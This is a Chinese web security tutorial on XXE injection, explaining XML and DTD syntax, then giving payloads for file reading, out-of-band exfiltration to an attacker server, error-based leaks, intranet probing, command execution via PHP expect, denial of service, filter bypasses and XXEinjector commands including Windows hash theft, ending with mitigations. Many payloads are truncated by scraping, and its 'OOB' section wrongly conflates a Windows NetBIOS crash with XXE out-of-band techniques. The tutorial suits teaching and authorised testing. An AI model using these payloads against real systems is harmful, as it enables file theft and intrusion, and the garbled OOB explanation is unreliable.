XXE漏洞

XXE漏洞

1.漏洞简介

XXE 漏洞全称XML External Entity Injection,即 XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意 xml文件。

2.XML简介

​ XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用 户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文 档元素

1.什么是XML

  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。需要自行定义标签
  • XML 被设计为具有自我描述性

2.XML 和 HTML 之间的差异

​ XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。

  • HTML 被设计用来显示数据,其焦点是数据的外观。

3.XML 用途

  1. XML 把数据从 HTML 分离
  2. XML 简化数据共享
  3. XML 简化数据传输
  4. XML 简化平台变更
  5. XML 用于创建新的互联网语言

4.XML 树结构

XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。


<note>
<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekend!body>
note>

第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言)。

下一行描述文档的根元素(像在说:“本文档是一个便签”):

<note>

接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):

<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekend!body>

XML 文档必须包含根元素。该元素是所有其他元素的父元素。

XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。

所有的元素都可以有子元素

5.xml语法

1.XML 必须包含根元素,它是所有其他元素的父元素,比如以下实例中 note 就是根元素



  Tove
  Jani
  Reminder
  Don't forget me this weekend!

2.XML 声明文件的可选部分,如果存在需要放在文档的第一行


3.所有的 XML 元素都必须有一个关闭标签

在 HTML 中,某些元素不必有一个关闭标签:

This is a paragraph.

在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签

This is a paragraph.


4.XML 标签对大小写敏感

必须使用相同的大小写来编写打开标签和关闭标签:

这是错误的
这是正确的

5.XML 必须正确嵌套

This text is bold and italic

6.XML 属性值必须加引号


Tove
Jani

7.实体引用

在 XML 中,一些字符拥有特殊的意义

在 XML 中,有 5 个预定义的实体引用:

< < less than
> > greater than
& & ampersand
' apostrophe
" " quotation mark

8.XML 中的注释


9.在 XML 中,空格会被保留

HTML 会把多个连续的空格字符裁减(合并)为一个:

10.XML 以 LF 存储换行

在 Windows 应用程序中,换行通常以一对字符来存储:回车符(CR)和换行符(LF)。

在 Unix 和 Mac OSX 中,使用 LF 来存储新行。

在旧的 Mac 系统中,使用 CR 来存储新行。

XML 以 LF 存储换行。

11.XML 元素

XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。XML 元素是可扩展的

12.XML 属性

XML元素具有属性,类似 HTML。属性(Attribute)提供有关元素的额外信息。

属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要

<file type="gif">computer.giffile>

XML 属性必须加引号

避免 XML 属性

  • 属性不能包含多个值(元素可以)
  • 属性不能包含树结构(元素可以)
  • 属性不容易扩展(为未来的变化)

属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息

3.DTD简介

​ 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

1.内部的 DOCTYPE 声明







]>

Tove
Jani
Reminder
Don't forget me this weekend

2.外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:


这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:




Tove
Jani
Reminder
Don't forget me this weekend!

这是包含 DTD 的 “note.dtd” 文件:






3.实体声明

实体又分为一般实体和参数实体
1.一般实体的声明语法:


引用实体的方式: &实体名 ;

2.参数实体只能在DTD中使用,参数实体的声明格式:



引用实体的方式: %实体名 ;

4.内部实体声明

语法

实例
DTD 实例:


XML 实例:
&writer;©right;

5.外部实体声明

语法

实例
DTD 实例:


XML example:
&writer;©right;

6.PCDATA 简介

PCDATA 的意思是被解析的字符数据(parsed character data)。

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它 们。

7.CDATA简介

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被 展开。

4.XXE的攻击方式

1.构建外部实体注入方法

1.直接通过DTD外部实体声明



]>
&b;

2.通过DTD文档引入外部DTD文档,再引入外部实体声明

XML内容:



&b;

DTD文件内容:


3.通过DTD外部实体声明引入外部实体声明

先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明

XML内容:



%d;
]>
&b;

dtd文件内容:


2.寻找 XML 输入点

​ 甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。

例如:判断wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。

例如:从PHP代码层面
存在 Content-Type:text/xml , 说明post 的数据包含 XML 格式,如:
可以在请求头中添加 Content-Type:text/xml 或 Content-type:application/xml ,然后构造
payload测试是否存在XXE攻击漏洞

5.xxe利用方式

1.文件读取有回显

直接读靶机文件



]>
&xxe;

恶意引入外部参数实体



    %file;
]>
&hhh;

2.读取文件无回显

1.OOB攻击

OOB的意思是“束缚数据脱离”,这是一种破坏Windows系统的过程。它通过向TCP端口139发送随机数来攻击操作系统,从而让中央处理器(CPU)一直处于繁忙状态。
OOB攻击 - 原理攻击者是利用Windows下微软网络协定NetBIOS的一个例外处理程序…当然95系列的不稳定性,也是众所周知的,因此大不必把一切蓝屏死机都归罪到oob的头上

简单说就是传递一个特别大的数据包导致系统死机.常见的场景是XXE通过XML实体漏洞来攻击

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)




%dtd;
%send;
]>

test.dtd的内容,内部的%号要进行实体编码成%

test.dtd:
"
>
%payload;

访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据

2.基于报错

​ 基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url不同,其他地方一模一样

通过引入服务器文件


	
	%remote;
	%send;
]>
1234

xml.dtd


">
%start;
通过引入本地文件

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。

xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
	<!ENTITY % ISOamso '
		">
		%eval;
		%send;
	'> 
	%remote;
]>
<message>1234</message>
嵌套参数实体

​ 虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的。


  
	">
	%start;
	%send;
]>
10
基于报错的三层嵌套参数实体XXE
xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % para1 SYSTEM "file:///flag">
	<!ENTITY % para '
		">
		%para2;
	'>
	%para;
]>
<message>10</message>

3.内网探测

和读文件差不多,只不过把URI改成内网机器地址

        
DOCTYPE foo [ 
<!ELEMENT foo ANY >

]>
<user><firstname>&rabbit;firstname><lastname>666lastname>user>

4.RCE

该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令



]>
&xxe;

5.DOS



  
  
  
  
  
  
  
  
]>
&lol9;

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,



  ]>
&xxe;

6.绕过

1.大小写绕过

利用政策匹配不严格,大小写绕过

2.编码绕过

ENTITY  SYSTEM    file		#被过滤

使用编码方式绕过:UTF-16BE

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

3.html实体编码绕过

如果过滤了http等协议,可以利用实体编码绕过:


" >
    %a;
]>
&b;

4.data://协议绕过


 "> 
    %a;
    %b;
]>
&hhh;


5.file://协议加文件上传



    %a;
]>


6.php://filter协议加文件上传



    %a;
]>

    &hack;






    %a;
]>

    &hack;

    

(的base64加密)
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

7.xxe利用场景

1.svg


DOCTYPE note [

]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;text>
svg>

tips:从当前文件夹读取文件可以使用/proc/self/cwd

2.excel

利用EXCEL进行XXE攻击
首先用excel创建一个空白的xlsx,然后解压

mkdir XXE && cd XXE
unzip ../XXE.xlsx

[Content_Types].xml改成恶意xml,再压缩回去

zip -r ../poc.xlsx *

8.XXE靶场实例

xxe-lab

XXE漏洞_第1张图片

抓包看一下

XXE漏洞_第2张图片

看到了我们发送的用户名/密码都是以POST形式发送的。并且很像是xml文档、

接下来只要有一点点的xxe基础就可以了,目标明确,只要我们构造的payload最后输出在username里面就行了,于是构造



]>
&test;Mikasa

XXE漏洞_第3张图片

可以看到已经获取到Windows配置信息

9.自动化XXE注射工具

XXEinjector是一款基于Ruby的XXE注入工具,

它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解

攻击需要使用到其他应用程序。

建议在kali环境下运行

基本参数详解:

--host   必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file   必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path      必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute     必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger    记录输出结果。
--rhost     远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport     远程主机的TCP端口信息。(--rport=8080)
--phpfilter  在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc   使用netdoc协议。(Java).``
--enumports  枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes    窃取运行当前应用程序用户的Windows哈希。
--expect    使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload    使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt   XSLT注入测试。
--ssl       使用SSL。
--proxy     使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport    设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport    设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test   该模式可用于测试请求的有效。
--urlencode   URL编码,默认为URI。
--output    爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout   设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast   跳过枚举询问,有可能出现结果假阳性。
--verbose   显示verbose信息。

使用方法

枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

10.XXE漏洞修复与防御方案

1.禁用外部实体

PHP:

libxml_disable_entity_loader(true); 

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); 

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

2.过滤用户提交的 XML 数据

过滤关键词:

你可能感兴趣的:(渗透测试,web安全)